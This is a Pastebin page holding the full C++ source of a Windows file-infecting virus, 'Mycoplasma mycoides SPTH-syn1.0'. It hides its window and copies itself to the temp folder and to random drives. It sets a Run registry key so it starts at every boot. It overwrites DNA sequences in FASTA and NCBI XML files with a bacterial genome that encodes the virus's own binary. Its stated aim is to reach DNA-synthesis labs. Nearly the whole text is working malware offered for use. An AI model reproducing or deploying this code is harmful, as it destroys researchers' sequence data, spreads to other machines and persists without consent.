Advertisement
Guest User

Mycoplasma mycoides

a guest
Jul 31st, 2016
482
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 19.16 KB | None | 0 0
  1. //////////////////////////////////////////////////////////////////////////////
  2. //
  3. //  Mycoplasma mycoides SPTH-syn1.0
  4. //  by Second Part To Hell
  5. //  sperl.thomas@gmail.com
  6. //  http://spth.virii.lu/
  7. //  October 2013
  8. //
  9. //  
  10. //  In 2010, the J. Craig Venter Institute (JCVI) reported the creation of a
  11. //  bacterial cell with a chemically synthesized genome [1]. They sequenced
  12. //  the  DNA of a bacteria (M.mycoides), modified several parts of its DNA in
  13. //  the computer, synthetized the novel genome and transplanted it to a
  14. //  different bacteria's cell (M.capricolum). They observed the control of
  15. //  the cell only by the new DNA. The artificially created genome was capable
  16. //  of continuous self-replication.
  17. //  They call their new artificial bacterial Mycoplasma mycoides JCVI-syn1.0.
  18. //      
  19. //    
  20. //  This is the implementation of a computer code that makes the step from the
  21. //  digital to the biological world.
  22. //  The computer code, written in C++, hosts the DNA sequence of M.mycoides
  23. //  JCVI-syn1.0. At runtime it acts as follows:
  24. //      
  25. //    1) Preparing the DNA sequence of M.mycoides JCVI-syn1.0 in the memory,
  26. //       (with slightly modified watermarks).
  27. //    2) Encoding own file-content in base32. The base32 code is then encoded in
  28. //       JCVI's DNA-encoded alphabet.
  29. //    3) This representation of its digital form is then copied to a
  30. //       watermark of the bacteria's genome in memory. With this, a fully
  31. //       functional bacterial DNA sequence including the digital code is
  32. //       generated.
  33. //    4) Next it searches for FASTA-files on the computer, which are text-based
  34. //       representations of DNA sequences, commonly used by many DNA sequence
  35. //       libraries.
  36. //    5) For each FASTA-file, it replaces the original DNA with the bacterial
  37. //       DNA containing the digital form of the computer code.
  38. //
  39. //        
  40. //  The code has a classical self-replication mechanism as well, to eventually
  41. //  end up on a computer in a microbiology-laboratory with the ability of
  42. //  creating DNA out of digital genomes (such as laboratories by the JCVI).
  43. //    
  44. //  If the scientists are incautious, the computer code's genome (instead of
  45. //  the intented original DNA) might be written to the biological cell.
  46. //  The new cell will start replicating in the biological world, and with it
  47. //  the representation of the digital computer code.
  48. //
  49. //
  50. //  For detailed information, see my article:
  51. //  "Infection of biological DNA with digital Computer Code" in valhalla#4.
  52. //
  53. //  Thanks to hh86 for motivation. Thanks to the JCVI-team for their awesome
  54. //  research, looking forward reading more discoveries on the boarder between
  55. //  dead and living material!
  56. //
  57. //  [1] Daniel G. Gibson et al., "Creation of a Bacterial Cell Controlled by a
  58. //              Chemically Synthesized Genome", Science 329, 52 (2010).
  59. //
  60. //
  61. //////////////////////////////////////////////////////////////////////////////
  62.  
  63. #include "stdafx.h"
  64. #include <windows.h>
  65. #include <time.h>
  66. #include <stdlib.h>
  67. #pragma comment(lib, "Shlwapi.lib")
  68. #include <Shlwapi.h>
  69. #include <iostream>
  70. #include <string>
  71. #include <vector>
  72. #include <stack>
  73.  
  74. using namespace std;
  75.  
  76. #define MyFileSize 1104384
  77.  
  78. //
  79. // Base32 encoding functions after main()
  80. //
  81. int GetEncode32Length(int);
  82. static bool Encode32Block(unsigned char*, unsigned char*);
  83. bool Encode32(unsigned char*, int, unsigned char*);
  84. bool Map32(unsigned char*, unsigned char*, int, unsigned char*);
  85.  
  86.  
  87.  
  88. int main(int argc, char* argv[])
  89. {
  90.     ShowWindow(GetConsoleWindow(), SW_HIDE);
  91.     SetErrorMode(0x8007);
  92.     #include "MmycoidesDNA.cpp"          // contains the (modified) DNA of Craig Venter's "Mycoplasma mycoides JCVI-syn1.0"
  93.                                          // very huge, ~1.08 Mbp
  94.     // seed RNG
  95.     srand((unsigned int)time(NULL));       
  96.  
  97.     // Copy File to temporary directory
  98.     char lpTempPathBuffer[MAX_PATH];
  99.     GetTempPathA(MAX_PATH, lpTempPathBuffer);
  100.     string TmpFileName=lpTempPathBuffer;
  101.     TmpFileName.append("MycoplasmaMycoides.exe");
  102.     CopyFileA(argv[0], TmpFileName.c_str(),FALSE);
  103.  
  104.    
  105.     // Create a registry key to start-up after every boot-up
  106.     HKEY hKey;
  107.     string lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
  108.     long RegCr=RegCreateKeyExA(HKEY_CURRENT_USER, lpSubKey.c_str(), 0, 0, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0, &hKey, 0);
  109.     if(RegCr==ERROR_SUCCESS)
  110.     {
  111.         long setRes = RegSetValueExA(hKey, 0, 0, REG_SZ, (BYTE*)TmpFileName.c_str(), TmpFileName.size()+1);        
  112.         RegCloseKey(hKey);
  113.     }
  114.  
  115.  
  116.     // Encode own file into Craig Venter's DNA encoding language
  117.     HANDLE hMyFile=CreateFileA(argv[0], GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  118.     if(hMyFile==INVALID_HANDLE_VALUE) { return(666); }
  119.  
  120.     HANDLE hMyMap=CreateFileMappingA(hMyFile, 0x0, PAGE_READONLY, 0, MyFileSize, 0);
  121.     if(hMyMap==NULL) { return(666); }
  122.  
  123.     unsigned char* MapBuf = (unsigned char*) MapViewOfFile(hMyMap, FILE_MAP_READ, 0, 0, MyFileSize);
  124.     if(MapBuf==NULL) { return(666); }
  125.  
  126.     int encodeLength=GetEncode32Length(MyFileSize);
  127.     unsigned char* data32 = new unsigned char[encodeLength+1];
  128.  
  129.     if(!Encode32(MapBuf, MyFileSize, data32)) { return(666); } // something strange went wrong. not in the mood to spread in the binary-world without the opportunity to spread to the bio-world! :)
  130.  
  131.     unsigned char alphabet[] = "TAGAGTTTTATTTAAGGCTACTCACTGGTTGCAAACCAATGCCGTACATTACTAGCTTGATCCTTGGTCGGTCATTGGACTAATAGAGCGGCCTAT"; // ABCDEFGHIJKLMNOPQRSTUVWXYZ234567 encoded in Craig Venter's DNA encoding language. each symbol corresponds to a codon (three nucleotids)
  132.     unsigned char* dataCodon = new unsigned char[3*(encodeLength+1)+1];
  133.     for(int i=0; i<3*(encodeLength+1)+1; i++) { dataCodon[i]=0; }
  134.     Map32(data32, dataCodon, encodeLength, alphabet);
  135.  
  136.     UnmapViewOfFile(MapBuf);
  137.     CloseHandle(hMyMap);
  138.     CloseHandle(hMyFile);
  139.  
  140.     string WholeDNA=MmycoidesBeforeWM;
  141.     WholeDNA.append((char*)dataCodon);
  142.     WholeDNA.append(MmycoidesAfterWM);
  143.  
  144.     string ABC="ABCDEFGHIJKLMNOPQRSTUVWXYZ";   // dirty, but dont want to convert from char to wchar :)
  145.     wstring ABCw=L"ABCDEFGHIJKLMNOPQRSTUVWXYZ";    
  146.     while(true)
  147.     {
  148.         int RndNum=rand()%26;
  149.        
  150.         string CopyPath=ABC.substr(RndNum,1);
  151.         CopyPath.append(":\\MycoplasmaMycoides.exe");
  152.    
  153.         int DriveType=GetDriveTypeA(CopyPath.substr(0,3).c_str());
  154.  
  155.         if(DriveType>1)
  156.         {
  157.             int res=CopyFileA(argv[0],CopyPath.c_str(),0);
  158.  
  159.             wstring DriveLetterw=ABCw.substr(RndNum,1)+L":\\";
  160.  
  161.             stack<wstring> Directories;
  162.             Directories.push(DriveLetterw);
  163.            
  164.             while (!Directories.empty())
  165.             {                
  166.                 wstring Path=Directories.top();
  167.                 wstring SearchMask=Path+L"\\*";
  168.                 Directories.pop();
  169.        
  170.                 WIN32_FIND_DATA FileData;
  171.                 HANDLE hFind=FindFirstFile(SearchMask.c_str(), &FileData);
  172.                 do
  173.                 {
  174.                     if (wcscmp(FileData.cFileName, L".") != 0 && wcscmp(FileData.cFileName, L"..") != 0)
  175.                     {
  176.                         wstring FullFileName=Path + L"\\" + FileData.cFileName;                    
  177.                         if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  178.                         {
  179.                             // Add a directory just in 40% of the cases
  180.                             if(rand()%5>2) { Directories.push(FullFileName); }
  181.                         }
  182.                         else
  183.                         {
  184.                             wstring FileExtention=PathFindExtension(FullFileName.c_str());
  185.                             if(_wcsnicmp(FileExtention.c_str(), L".fasta",6)==0 || _wcsnicmp(FileExtention.c_str(), L".fas",4)==0)
  186.                             {
  187.                                 string WholeDNA_FASTA="";
  188.                                 for(int i=0; i<=(int)(WholeDNA.size()/70); i++)
  189.                                 {
  190.                                     WholeDNA_FASTA.append(WholeDNA.substr(70*i,70)+(char)10);
  191.                                 }
  192.                                 HANDLE hFastaVictim=CreateFile(FullFileName.c_str(), (GENERIC_READ | GENERIC_WRITE), 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  193.                                 if(hFastaVictim!=INVALID_HANDLE_VALUE)
  194.                                 {
  195.                                     string FastaHeader="";
  196.                                     DWORD FastaSize=GetFileSize(hFastaVictim, 0);
  197.                                     if(FastaSize>0)
  198.                                     {
  199.                                         HANDLE hFastaMapping=CreateFileMapping(hFastaVictim, 0, PAGE_READWRITE, 0, FastaSize, 0);
  200.                                         if(hFastaMapping!=NULL)
  201.                                         {
  202.                                             char* lpMapAddress=(char*)MapViewOfFile(hFastaMapping, FILE_MAP_ALL_ACCESS, 0, 0, FastaSize);
  203.                                             if(lpMapAddress!=NULL)
  204.                                             {
  205.                                                 string FastaContent=lpMapAddress;
  206.  
  207.                                                 int FindLBinFasta=FastaContent.find((char)10,0);                                            
  208.                                                 if(FindLBinFasta>0&&FastaContent[0]=='>')  // .fasta files have to start with ">"
  209.                                                 {
  210.                                                     FastaHeader=FastaContent.substr(0,FindLBinFasta+1); // this is the header of the FASTA file including the 0x0A
  211.                                                 }
  212.                                             }
  213.                                             UnmapViewOfFile(lpMapAddress);
  214.                                         }
  215.                                         CloseHandle(hFastaMapping);
  216.                                         if(FastaHeader.size()>0)
  217.                                         {
  218.                                             HANDLE hFastaMapping=CreateFileMapping(hFastaVictim, 0, PAGE_READWRITE, 0, FastaHeader.size()+WholeDNA_FASTA.size()+1, 0);
  219.                                             if(hFastaMapping!=NULL)
  220.                                             {
  221.                                                 char* lpMapAddress=(char*)MapViewOfFile(hFastaMapping, FILE_MAP_ALL_ACCESS, 0, 0, FastaHeader.size()+WholeDNA_FASTA.size()+1);
  222.                                                 if(lpMapAddress!=NULL)
  223.                                                 {
  224.                                                     string FastaInfCode=FastaHeader+WholeDNA_FASTA;
  225.                                                     strcpy_s(lpMapAddress, FastaHeader.size()+WholeDNA_FASTA.size()+1, FastaInfCode.c_str());
  226.                                                 }
  227.                                                 UnmapViewOfFile(lpMapAddress);
  228.                                                 CloseHandle(hFastaMapping);
  229.                                                 SetFilePointer(hFastaVictim, FastaHeader.size()+WholeDNA_FASTA.size(), 0, 0);
  230.                                                 SetEndOfFile(hFastaVictim);
  231.                                             }
  232.                                         }
  233.                                     }
  234.                                     CloseHandle(hFastaVictim);
  235.  
  236.                                     if(rand()%1000==33)
  237.                                     {
  238.                                         // At every 1000th fasta-file infection, we show ourselves.
  239.                                         int num=rand()%3;
  240.                                         if(num==0) { MessageBoxA(0, "'to live, to err, to fall, to triumph, to recreate life out of life.' - james joyce", "Mycoplasma mycoides SPTH-syn1.0", 0); }
  241.                                         if(num==1) { MessageBoxA(0, "'see things not as they are, but as they might be.'", "Mycoplasma mycoides SPTH-syn1.0", 0); }                                        
  242.                                         if(num==2) { MessageBoxA(0, "'what i cannot build, i cannot understand.' - richard feynman", "Mycoplasma mycoides SPTH-syn1.0", 0); }
  243.                                     }
  244.                                 }
  245.                             }
  246.  
  247.                             if(_wcsnicmp(FileExtention.c_str(), L".xml",4)==0)
  248.                             {
  249.                                 HANDLE hxmlFastaVictim=CreateFile(FullFileName.c_str(), (GENERIC_READ | GENERIC_WRITE), 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  250.                                 if(hxmlFastaVictim!=INVALID_HANDLE_VALUE)
  251.                                 {
  252.                                     string xmlFastaBefore="";
  253.                                     string xmlFastaAfter="";
  254.                                     DWORD xmlFastaSize=GetFileSize(hxmlFastaVictim, 0);
  255.                                     if(xmlFastaSize>0)
  256.                                     {
  257.                                         HANDLE hxmlFastaMapping=CreateFileMapping(hxmlFastaVictim, 0, PAGE_READWRITE, 0, xmlFastaSize, 0);
  258.                                         if(hxmlFastaMapping!=NULL)
  259.                                         {
  260.                                             char* lpMapAddress=(char*)MapViewOfFile(hxmlFastaMapping, FILE_MAP_ALL_ACCESS, 0, 0, xmlFastaSize);
  261.                                             if(lpMapAddress!=NULL)
  262.                                             {
  263.                                                 string xmlFastaContent=lpMapAddress;
  264.  
  265.                                                 int FindSeqStart=xmlFastaContent.find("<TSeq_sequence>",0);
  266.                                                 int FindSeqEnd=xmlFastaContent.find("</TSeq_sequence>",FindSeqStart);
  267.                                                 int FindIsNuc=xmlFastaContent.find("<TSeq_seqtype value=\"nucleotide\"",0);
  268.                                                 if(FindSeqStart>0 && FindSeqEnd>0 && FindIsNuc>0)
  269.                                                 {
  270.                                                     xmlFastaBefore=xmlFastaContent.substr(0,FindSeqStart+15); // this is the xml fasta content before DNA
  271.                                                     xmlFastaAfter=xmlFastaContent.substr(FindSeqEnd);
  272.                                                 }
  273.                                             }
  274.                                             UnmapViewOfFile(lpMapAddress);
  275.                                         }
  276.                                         CloseHandle(hxmlFastaMapping);
  277.                                         if(xmlFastaBefore.size()>0 && xmlFastaAfter.size())
  278.                                         {
  279.                                             HANDLE hxmlFastaMapping=CreateFileMapping(hxmlFastaVictim, 0, PAGE_READWRITE, 0, xmlFastaBefore.size()+WholeDNA.size()+xmlFastaAfter.size()+1, 0);
  280.                                             if(hxmlFastaMapping!=NULL)
  281.                                             {
  282.                                                 char* lpMapAddress=(char*)MapViewOfFile(hxmlFastaMapping, FILE_MAP_ALL_ACCESS, 0, 0, xmlFastaBefore.size()+WholeDNA.size()+xmlFastaAfter.size()+1);
  283.                                                 if(lpMapAddress!=NULL)
  284.                                                 {
  285.                                                     string xmlFastaInfCode=xmlFastaBefore+WholeDNA+xmlFastaAfter;
  286.                                                     strcpy_s(lpMapAddress, xmlFastaInfCode.size()+1, xmlFastaInfCode.c_str());
  287.                                                 }
  288.                                                 UnmapViewOfFile(lpMapAddress);
  289.                                                 CloseHandle(hxmlFastaMapping);
  290.                                                 SetFilePointer(hxmlFastaVictim, xmlFastaBefore.size()+WholeDNA.size()+xmlFastaAfter.size(), 0, 0);
  291.                                                 SetEndOfFile(hxmlFastaVictim);
  292.                                             }
  293.                                         }
  294.                                     }
  295.                                     CloseHandle(hxmlFastaVictim);
  296.                                 }
  297.                             }
  298.                         }
  299.                     }                    
  300.                 } while (FindNextFile(hFind, &FileData) != 0);
  301.                 FindClose(hFind);
  302.                 if(rand()%5==1)
  303.                 {
  304.                     int wait1=rand()%500;
  305.                     Sleep(wait1);
  306.                 }
  307.             }
  308.         }
  309.         int waitwait=(rand()%1000+250);
  310.         Sleep(waitwait);
  311.     }
  312.     return 0;
  313. }
  314.  
  315.  
  316.  
  317. ////////////////////////////////////////////////////////////////////////////////////////////////
  318. // Modified base32 encoder strongly based on Vasian Cepa's code -  http://madebits.com
  319. // adjusted for codon-alphabet
  320. ////////////////////////////////////////////////////////////////////////////////////////////////
  321.  
  322. int GetEncode32Length(int bytes)
  323. {
  324.    int bits = bytes * 8;
  325.    int length = bits / 5;
  326.    if((bits % 5) > 0)
  327.    {
  328.       length++;
  329.    }
  330.    return length;
  331. }
  332.  
  333. static bool Encode32Block(unsigned char* in5, unsigned char* out8)
  334. {
  335.       // pack 5 bytes
  336.       unsigned __int64 buffer = 0;
  337.       for(int i = 0; i < 5; i++)
  338.       {
  339.           if(i != 0)
  340.           {
  341.               buffer = (buffer << 8);
  342.           }
  343.           buffer = buffer | in5[i];
  344.       }
  345.       // output 8 bytes
  346.       for(int j = 7; j >= 0; j--)
  347.       {
  348.           buffer = buffer << (24 + (7 - j) * 5);
  349.           buffer = buffer >> (24 + (7 - j) * 5);
  350.           unsigned char c = (unsigned char)(buffer >> (j * 5));
  351.           // self check
  352.           if(c >= 32) return false;
  353.           out8[7 - j] = c;
  354.       }
  355.       return true;
  356. }
  357.  
  358. bool Encode32(unsigned char* in, int inLen, unsigned char* out)
  359. {
  360.    if((in == 0) || (inLen <= 0) || (out == 0)) return false;
  361.  
  362.    int d = inLen / 5;
  363.    int r = inLen % 5;
  364.  
  365.    unsigned char outBuff[8];
  366.  
  367.    for(int j = 0; j < d; j++)
  368.    {
  369.       if(!Encode32Block(&in[j * 5], &outBuff[0])) return false;
  370.       memmove(&out[j * 8], &outBuff[0], sizeof(unsigned char) * 8);
  371.    }
  372.  
  373.    unsigned char padd[5];
  374.    memset(padd, 0, sizeof(unsigned char) * 5);
  375.    for(int i = 0; i < r; i++)
  376.    {
  377.       padd[i] = in[inLen - r + i];
  378.    }
  379.    if(!Encode32Block(&padd[0], &outBuff[0])) return false;
  380.    memmove(&out[d * 8], &outBuff[0], sizeof(unsigned char) * GetEncode32Length(r));
  381.  
  382.    return true;
  383. }
  384.  
  385. bool Map32(unsigned char* in32, unsigned char* out32, int inout32Len, unsigned char* alpha32)
  386. {
  387.     if((in32 == 0) || (inout32Len <= 0) || (alpha32 == 0)) return false;
  388.     for(int i = 0; i < inout32Len; i++)
  389.     {        
  390.         if(in32[i] >=32) return false;
  391.         out32[3*i] = alpha32[3*in32[i]];
  392.         out32[3*i+1] = alpha32[3*in32[i]+1];
  393.         out32[3*i+2] = alpha32[3*in32[i]+2];
  394.     }
  395.     out32[3*inout32Len] = 'C';   // final byte is '=', in JCGI alphabet '=' <-> CCA
  396.     out32[3*inout32Len+1] = 'C';
  397.     out32[3*inout32Len+2] = 'A';
  398.     return true;
  399. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement